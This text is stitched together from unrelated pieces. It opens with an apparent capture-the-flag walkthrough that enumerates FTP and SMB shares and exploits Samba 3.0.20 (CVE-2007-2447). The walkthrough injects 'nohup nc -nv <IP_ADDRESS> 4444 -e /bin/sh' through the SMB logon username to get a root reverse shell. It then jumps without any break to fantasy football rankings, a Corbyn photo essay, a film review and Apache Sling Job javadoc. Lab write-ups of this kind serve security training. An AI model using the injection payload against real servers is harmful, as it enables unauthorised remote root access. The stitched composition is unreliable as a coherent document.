Samba < 3.0.20 - Remote Heap Overflow | linux/remote/7701.txt
Samba < 3.6.2 (x86) - Denial of Service (PoC) | linux_x86/dos/36741.py
---------------------------------------------- ---------------------------------
Shellcodes: No Results
FTP
anonymous:anonymous
FTP Credential worked but cant able to access files.
ftp <IP_ADDRESS>
Connected to <IP_ADDRESS>.
220 (vsFTPd 2.3.4)
Name (<IP_ADDRESS>:root): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
226 Directory send OK.
ftp>
Samba
Got Protocol negotiation failed error.
sudo smbclient -L <IP_ADDRESS>
protocol negotiation failed: NT_STATUS_CONNECTION_DISCONNECTED
To improve security, the NT LAN manager version 1 (NTLMv1) protocol is now disabled by default.
To Enable - Steps as below:
sudo vi /etc/samba/smb.conf
Add the following settings under “GLOBAL”:
client min protocol = CORE
client max protocol = SMB3
Now, smbclient can interact.
- -L: lists the services
smbclient -L <IP_ADDRESS>
Enter WORKGROUP\htb-mukhilan's password:
Anonymous login successful
Sharename Type Comment
--------- ---- -------
print$ Disk Printer Drivers
tmp Disk oh noes!
opt Disk
IPC$ IPC IPC Service (lame server (Samba 3.0.20-Debian))
ADMIN$ IPC IPC Service (lame server (Samba 3.0.20-Debian))
Reconnecting with SMB1 for workgroup listing.
Anonymous login successful
Server Comment
--------- -------
Workgroup Master
--------- -------
WORKGROUP LAME
By seeing the permissions on the share drives, tmp folder allows Read & Write access.
smbmap -H <IP_ADDRESS>
[+] IP: <IP_ADDRESS>:445 Name: <IP_ADDRESS>
Disk Permissions Comment
---- ----------- -------
print$ NO ACCESS Printer Drivers
tmp READ, WRITE oh noes!
opt NO ACCESS
IPC$ NO ACCESS IPC Service (lame server (Samba 3.0.20-Debian))
ADMIN$ NO ACCESS IPC Service (lame server (Samba 3.0.20-Debian))
CVE-2007-2447 Exploit
From the Enumeration samba 3.0.20 have metasploit script with CVE-2007-2447 - ‘Username’ map script’ Command Execution.
By reading the metasploit script( CVE-2007-2447 ),
username = “/=
nohup " + payload.encoded + "
“
The issue is in username field. The payload is replaced in payload.encoded
as below,
nohup nc -nv <IP_ADDRESS> 4444 -e /bin/sh
smbclient //<IP_ADDRESS>/tmp
Enter WORKGROUP\htb-mukhilan's password:
Anonymous login successful
Try "help" to get a list of possible commands.
smb: \> logon "/=`nohup nc -nv <IP_ADDRESS> 4444 -e /bin/sh`"
Password:
Got the root shell.
nc -lvp 4444
Listening on <IP_ADDRESS> 4444
Connection received on <IP_ADDRESS> 59960
whoami
root


Fantasy Football Rankings Week 12: Running back
Things haven't been super rosy for Ezekiel Elliott heading into a matchup with the Patriots, but he's still in the top 12 in our Week 12 fantasy RB rankings.
by @billyheyenMaybe our Week 12 fantasy RB rankings should just recommend whoever the new Lions' RB is this week. It was Ty Johnson a few weeks ago, who quickly gave way toTra Carson before going back to Johnson. In Week 11, it was Bo Scarbrough. In all seriousness, that's a frustrating situation for fantasy owners, so we might be better off avoidingDetroit's backfield entirely.
You can draw from multiple San Francisco running backs this week against th Packers' poor run defense. Obviously you'll use Tevin Coleman, and we'll have to wait and see on whether it's Matt Breida (ankle) or Raheem Mostert backing him up. Whoever it is will be a solid FLEX play.You can also rely on whoever the Pittsburgh running backs are. James Conner's shoulder injury could allow for Jaylen Samuels and Trey Edmundsto run all over Cincinnati. Jonathan Williams in also in play in relief of Marlon Mack (hand).
WEEK 12 NON-PPR RANKINGS:
Quarterback | Wide receiver | Tight end | D/ST | Kicker
It might be best to avoid last week's waiver-wire favorite Brian Hill in Week 12, though. The Buccaneers have a terrible pass defense but are one of the league's few best against the run, so expect Atlanta to throw a ton in that one. We won't advise you to sit Ezekiel Elliott, but he's been a bit of a disappointment this season and probably won't dominate against the Patriots in Week 12. Zeke's longest run of the season was for 27 yards (only three yards longer than Sam Darnold's longest run). That doesn't mean a ton, but it just hasn't quite been the year you'd hope for from Elliott.
There are two things we want to be sure to point out. The first is in Denver, where pregame reports last week suggested Phillip Lindsay would see an uptick in carries. That held true, as he doubled Royce Freeman in attempts, 16-8, and picked up 67 yards on the ground. If that keeps up, Lindsay will be a solid RB2 play the rest of the season.
The second is to acknowledge Derrius Guice is back. He scored on a 45-yard receiving touchdown where he made the big play happen on a short pass. Guice received seven carries to Adrian Peterson's nine, and that workload should only rise. Given his matchup against the Lions, he's in play this week.
Fantasy owners will be without the following RBs due to Week 12 bye: Dalvin Cook, Melvin Gordon/Austin Ekeler, Damien Williams and Kenyan Drake/David Johnson.
Reminder: As always, we expect to make plenty of changes to these rankings throughout the week, so check back for updates.
#1
Christian McCaffrey, Panthers
Panthers @ Saints
#2
Alvin Kamara, Saints
Saints vs. Panthers
#3
Nick Chubb, Browns
Browns vs. Dolphins
#4
Saquon Barkley, Giants
Giants @ Bears
#5
Josh Jacobs, Raiders
Raiders @ Jets
#6
James Conner, Steelers
Steelers @ Bengals
#7
Derrick Henry, Titans
Titans vs. Jaguars
#8
Le'Veon Bell, Jets
Jets vs. Raiders
#9
Ezekiel Elliott, Cowboys
Cowboys @ Patriots
#10
Leonard Fournette, Jaguars
Jaguars @ Titans
#11
Todd Gurley, Rams
Rams vs. Ravens
#12
Tevin Coleman, 49ers
49ers vs. Packers
#13
David Montgomery, Bears
Bears vs. Giants
#14
Chris Carson, Seahawks
Seahawks @ Eagles
#15
Joe Mixon, Bengals
Bengals vs. Steelers
#16
Phillip Lindsay, Broncos
Broncos @ Bills
#17
Devin Singletary, Bills
Bills vs. Broncos
#18
Aaron Jones, Packers
Packers @ 49ers
#19
Mark Ingram, Ravens
Ravens @ Rams
#20
Carlos Hyde, Texans
Texans vs. Colts
#21
Jordan Howard, Eagles
Eagles vs. Seahawks
#22
Jonathan Williams, Colts
Colts @ Texans
#23
Bo Scarbrough, Lions
Lions @ Redskins
#24
Derrius Guice, Redskins
Redskins vs. Lions
#25
Kareem Hunt, Browns
Browns vs. Dolphins
#26
Best of the rest
26 Ronald Jones, TB @ ATL
27 James White, NE vs. DAL
28 Latavius Murray, NO vs. CAR
29 Sony Michel, NE vs. DAL
30 Royce Freeman, DEN @ BUF
31 Brian Hill, ATL vs. TB
32 Adrian Peterson, WAS vs. DET
33 Jamaal Williams, GB @ SF
34 Kalen Ballage, MIA @ CLE
35 Miles Sanders, PHI vs. SEA
36 Raheem Mostert, SF vs. GB
37 Peyton Barber, TB @ ATL
38 Jaylen Samuels, PIT @ CIN
39 Tarik Cohen, CHI vs. NYG
40 Duke Johnson Jr., HOU vs. IND
41 Frank Gore, BUF vs. DEN
42 Nyheim Hines, IND @ HOU
43 Rashaad Penny, SEA @ PHI
44 Dare Ogunbowale, TB @ ATL
45 Gus Edwards, BAL @ LAR
46 Ty Johnson, DET @ WAS
47 Qadree Ollison, ATL vs. TB
48 Malcolm Brown, LAR vs. BAL
49 Rex Burkhead, NE vs. DAL
50 Giovani Bernard, CIN vs. PIT
51 Bilal Powell, NYJ vs. OAK
52 J.D. McKissic, DET @ WAS
53 Dion Lewis, TEN vs. JAX
54 Wayne Gallman, NYG @ CHI
55 Tony Pollard, DAL @ NE


On the road with Jeremy Corbyn – a photo essay
by Sean SmithAs the Labour leader fights his second general election, Guardian photographer Sean Smith joins the campaign trail
I started photographing Jeremy Corbyn during the leadership contest before the 2015 election. After a short time covering him on the campaign trail, I thought he would do a lot better then people expected. By the time of the next general election, in 2017, I, probably in a minority of one, thought he could win.
Corbyn is quite relaxed with a camera around. When we first met, he would ask: “What do you want? What should I do?” But now he understands I’m not trying to do photocall pictures; I want it to be as if I wasn’t there.
- Arriving at the European Commission in February with (from left) James Schneider, head of strategic communications; Keir Starmer, shadow Brexit secretary; Seumas Milne, director of strategy and communications; and Shami Chakrabarti, shadow attorney general
To start with I didn’t have much special access, but over time I persistently asked to follow him. I don’t think the Labour team ever started to trust me, but they did start to tolerate me.
- About to be interviewed by ITN’s Angus Walker in the offices of MEP Richard Corbett in the European parliament, with Keir Starmer and Shami Chakrabarti, 21 February
- In the interview, with Milne and Schneider in the background
- Arriving on the Eurostar with Chakrabarti and Richard Burgon, MP for Leeds East
- With Starmer and shadow business secretary Rebecca Long-Bailey, before meeting Theresa May to discuss the Brexit deal, 3 April
- Waiting for the train back to London at Lancaster station, 23 March
I wasn’t expecting him to do the Eric Morecambe pose. I didn’t suggest it. A member of the public asked to do one with him and then he got Lizzi to do one, too. It was very spontaneous.
- With Labour councillor Lizzi Collinge earlier in the day
- Door-to-door canvassing for Morecambe and Lunesdale
- On the train back to London from Lancaster
- Travelling to south Wales with shadow home secretary Diane Abbott, on 30 March, for the byelection campaign following the death of Labour MP Paul Flynn
Corbyn is much more relaxed and open than his minders from the press team. He said to me once, “Oh Sean, are you coming on the train with me?” and suddenly all of his people looked worried; I could see them thinking, “Oh no, don’t invite him – what are you doing?”
- With local candidate Ruth Jones
- Preparing to go on stage
- Making notes on a train en route to the Peterborough byelection, 27 April
He seems very happy and rejuvenated when he’s on the road and appears to prefer it to being in Westminster: I think he feels it’s a bit of a club, an echo chamber. On the road, he seems genuinely engaged, albeit mostly with Labour party members. Perhaps he should go after a few Tories, too.
- With new MP Lisa Forbes in the town centre, talking to the press after Labour hold the seat
- Walking home from Finsbury Park station, London, with a member of his team (second left)
- Chatting to pearly kings and queens at Armed Forces Day in Islington, north London, in June
He’s got more energy than I do.  Everyone there wanted to say hello to him, even the police officers.
- With Elvis at the Manor Gardens street festival near his home
- At Finsbury Park mosque, as part of the nationwide Visit My Mosque day
- Working on a speech at the Tolpuddle Martyrs’ festival, Dorset, 20 July
When he’s preparing a speech, he does very brief notes to himself. It seems like he’s writing prompts. In Tolpuddle, he was making his notes in a porch behind the stage, where a musician had left a guitar.
- With his wife, Laura Alvarez, joining the annual march through the village
- Signing autographs and (right) on the march
- Acknowledging applause following his speech to the Labour party conference in Brighton in September
I think Corbyn is the only politician I’ve photographed who doesn’t have that lifelong ambition to be prime minister. I’ve never come across anyone like that. All the others, even if there is no possibility of it happening, have that occasional glint in their eye at the thought of “what if?”. For him, agree with him or not, it is all about the policies he deeply believes in; it is not about personal ambition. I think even his enemies would agree with that.
I think he’s a lot more steely and capable than people think. From the little work I’ve done with Boris Johnson, he’s more desperate to be loved than Corbyn; the prime minister seems to get hurt if people don’t like him.
- A walkabout on the seafront
- With shadow chancellor John McDonnell and (right) waving to the audience with Alvarez
- Addressing the climate emergency demonstration in central London, 20 September
It’s become harder to get proper time with politicians. Margaret Thatcher was a lot easier to photograph than Tony Blair or David Cameron. They want to stage-manage and control things. With these shots, I feel I got some of those rare candid moments.
- Talking on the phone on a balcony outside his office
- With celebrities to launch the Labour party’s new charter for the arts. Below: Being interviewed by the Guardian’s Heather Stewart
- Backstage before giving a speech, 7 November


DOUG'S 1ST MOVIE A film review by Matt Williams
RATING: * 1/2 out of * * * *
Following the success of The Rugrats Movie, Disney has been quick to follow suit. Doug's 1st Movie takes the TV cartoon staple, Doug, and plops him where he doesn't quite belong: on the movie screen. The result is mildly entertaining (though purely for kids), but possesses no real draw to see it at the theater.
Doug Funnie (Thomas McHugh) is your average everyday kid. His time is divided between pining for his love, Patti Mayonaise (Constance Shulman), and helping his pal, Skeeter Valentine (Fred Newman), hunt for the legendary Monster of Lucky Duck lake.
His adventures truly begin when he discovers that the monster is real! Not only that, but the monster is friendly (in an E.T. sort of way), and moves in with Doug. Of course, this complicates Doug's plans to help Patti organize the Valentine's Day dance.
The plot fluctuates between the realistic (Doug's infatuation with Patti, and his rivalry with a suave 8th-grader, Guy (Guy Hadley)) and the bizarre (the Monster, a killer robot, and a magical shrinking ray). But, then again, when the average student at Doug's middle school might be blue, purple or green, who's to say what's normal?
The film tries to tackle the issue of pollution, but never truly grasps the issue. Apparently, town mogul Mr. Bluff (Doug Preis) has been dumping toxic waste into Lucky Duck Lake. This has not only spawned the friendly monster, but made the lake into a terrible pool of acid not seen since the likes of Dante's Peak. Now, however, the monster decides that the Lake is to toxic for him to call home (though, shouldn't our atmosphere be toxic to a monster born to pollution).  It gives you a headache if you try and make sense of it all.
Kids who enjoy Doug on TV will continue to find him likable on the big screen. However, there's very little reason for him to be there. In all honesty, this feels more like a direct-to-video cartoon rather than a piece of quality feature animation. There's little here to entertain adults, and kids aren't likely to care whether Doug Funnie is 40 feet tall on a movie screen, or 27" on TV.
If you're desperate for a kid film to see at the theater, this one will certainly do in a pinch. But, on the whole, you're better off waiting for the video.
Copyright 1999 Matt Williams
- Matt Williams<EMAIL_ADDRESS>Reviewer for Cinematter: http://www.cinematter.com Home of nearly 700 reviews, and information on over 750 upcoming releases
The review above was posted to the
rec.arts.movies.reviews newsgroup (de.rec.film.kritiken for German reviews).
The Internet Movie Database accepts no responsibility for the contents of the
review and has no editorial control. Unless stated otherwise, the copyright
belongs to the author.
Please direct comments/criticisms of the review to relevant newsgroups.
Broken URLs inthe reviews are the responsibility of the author.
The formatting of the review is likely to differ from the original due
to ASCII to HTML conversion.
Related links: index of all rec.arts.movies.reviews reviews


@ProviderType
public interface Job
getProperty(String, Class)
method to get the correct type instead of directly casting it.| Modifier and Type | Interface and Description |
|---|---|
static class |
Job.JobState
The current job state.
|
| Modifier and Type | Field and Description |
|---|---|
static String |
PROPERTY_FINISHED_DATE
This property contains the finished date once a job is marked as finished.
|
static String |
PROPERTY_JOB_CREATED
This property is set by the job handling and contains a calendar object
specifying the date and time when this job has been created.
|
static String |
PROPERTY_JOB_CREATED_INSTANCE
This property is set by the job handling and contains the Sling instance ID
of the instance where this job has been created.
|
static String |
PROPERTY_JOB_DESCRIPTION
This is an optional property containing a human readable description for
the job
|
static String |
PROPERTY_JOB_PRIORITY
Deprecated.
|
static String |
PROPERTY_JOB_PROGRESS_ETA
This property contains the optional ETA for a job.
|
static String |
PROPERTY_JOB_PROGRESS_LOG
This property contains the optional output log of a job consumer.
|
static String |
PROPERTY_JOB_PROGRESS_STEP
This property contains optional progress information about a job,
the number of completed steps.
|
static String |
PROPERTY_JOB_PROGRESS_STEPS
This property contains optional progress information about a job,
the number of steps the job consumer will perform.
|
static String |
PROPERTY_JOB_QUEUE_NAME
The name of the job queue processing this job.
|
static String |
PROPERTY_JOB_RETRIES
The property to track the retry maximum retry count for jobs.
|
static String |
PROPERTY_JOB_RETRY_COUNT
The property to track the retry count for jobs.
|
static String |
PROPERTY_JOB_RETRY_DELAY
The property to set a retry delay.
|
static String |
PROPERTY_JOB_STARTED_TIME
This property is set by the job handling and contains a calendar object
specifying the date and time when this job has been started.
|
static String |
PROPERTY_JOB_TARGET_INSTANCE
This property is set by the job handling and contains the Sling instance ID
of the instance where this job should be processed.
|
static String |
PROPERTY_JOB_TITLE
This is an optional property containing a human readable title for
the job
|
static String |
PROPERTY_RESULT_MESSAGE
This property contains the optional result message of a job consumer.
|
| Modifier and Type | Method and Description |
|---|---|
Calendar |
getCreated()
This property is set by the job handling and contains a calendar object
specifying the date and time when this job has been created.
|
String |
getCreatedInstance()
This property is set by the job handling and contains the Sling instance ID
of the instance where this job has been created.
|
Calendar |
getFinishedDate()
If the job is cancelled or succeeded, this method will return the finish date.
|
int |
getFinishedProgressStep()
If the job is in processing, return the optional information
about the finished steps.
|
String |
getId()
Unique job ID.
|
JobUtil.JobPriority |
getJobPriority()
Deprecated.
|
Job.JobState |
getJobState()
Get the job state
|
String |
getName()
Deprecated.
|
int |
getNumberOfRetries()
The property to track the retry maximum retry count for jobs.
|
Calendar |
getProcessingStarted()
This property is set by the job handling and contains a calendar object
specifying the date and time when this job has been started.
|
Calendar |
getProgressETA()
If the job is in processing, return the optional ETA for this job.
|
String[] |
getProgressLog()
This method returns the optional progress log from the last job
processing.
|
int |
getProgressStepCount()
If the job is in processing, return the optional progress step
count if available.
|
Object |
getProperty(String name)
Get the value of a property.
|
<T> T |
getProperty(String name,
Class<T> type)
Get a named property and convert it into the given type.
|
<T> T |
getProperty(String name,
T defaultValue)
Get a named property and convert it into the given type.
|
Set<String> |
getPropertyNames()
Get all property names.
|
String |
getQueueName()
The name of the job queue processing this job.
|
String |
getResultMessage()
This method returns the message from the last job processing, regardless
whether the processing failed, succeeded or was cancelled.
|
int |
getRetryCount()
On first execution the value of this property is zero.
|
String |
getTargetInstance()
This property is set by the job handling and contains the Sling instance ID
of the instance where this job should be processed.
|
String |
getTopic()
The job topic.
|
static final String PROPERTY_JOB_QUEUE_NAME
@Deprecated static final String PROPERTY_JOB_PRIORITY
static final String PROPERTY_JOB_RETRY_COUNT
static final String PROPERTY_JOB_RETRIES
static final String PROPERTY_JOB_CREATED
static final String PROPERTY_JOB_CREATED_INSTANCE
static final String PROPERTY_JOB_TARGET_INSTANCE
static final String PROPERTY_JOB_STARTED_TIME
static final String PROPERTY_JOB_RETRY_DELAY
static final String PROPERTY_JOB_PROGRESS_LOG
static final String PROPERTY_JOB_PROGRESS_ETA
Calendar
object.
This property is read-only and can't be specified when the job is created.static final String PROPERTY_JOB_PROGRESS_STEPS
static final String PROPERTY_JOB_PROGRESS_STEP
static final String PROPERTY_RESULT_MESSAGE
static final String PROPERTY_FINISHED_DATE
Calendar
object.
This property is read-only and can't be specified when the job is created.static final String PROPERTY_JOB_TITLE
static final String PROPERTY_JOB_DESCRIPTION
String getTopic()
String getId()
@Deprecated String getName()
null
Object getProperty(String name)
name
- The property namenull
Set<String> getPropertyNames()
<T> T getProperty(String name, Class<T> type)
null
in this
case.name
- The name of the propertytype
- The class of the typenull
if
non existing or can't be converted.<T> T getProperty(String name, T defaultValue)
name
- The name of the propertydefaultValue
- The default value to use if the named property does
not exist or cannot be converted to the requested type. The
default value is also used to define the type to convert the
value to. If this is null
any existing property is
not converted.@Deprecated JobUtil.JobPriority getJobPriority()
JobUtil#JobPriority.NORM
.int getRetryCount()
int getNumberOfRetries()
String getQueueName()
null
String getTargetInstance()
null
Calendar getProcessingStarted()
Calendar getCreated()
String getCreatedInstance()
Job.JobState getJobState()
Calendar getFinishedDate()
null
String getResultMessage()
null
String[] getProgressLog()
null
int getProgressStepCount()
-1
.int getFinishedProgressStep()
getProgressStepCount()
this can
be used to calculate a progress bar.0
Calendar getProgressETA()
null
Copyright © 2014 The Apache Software Foundation. All rights reserved.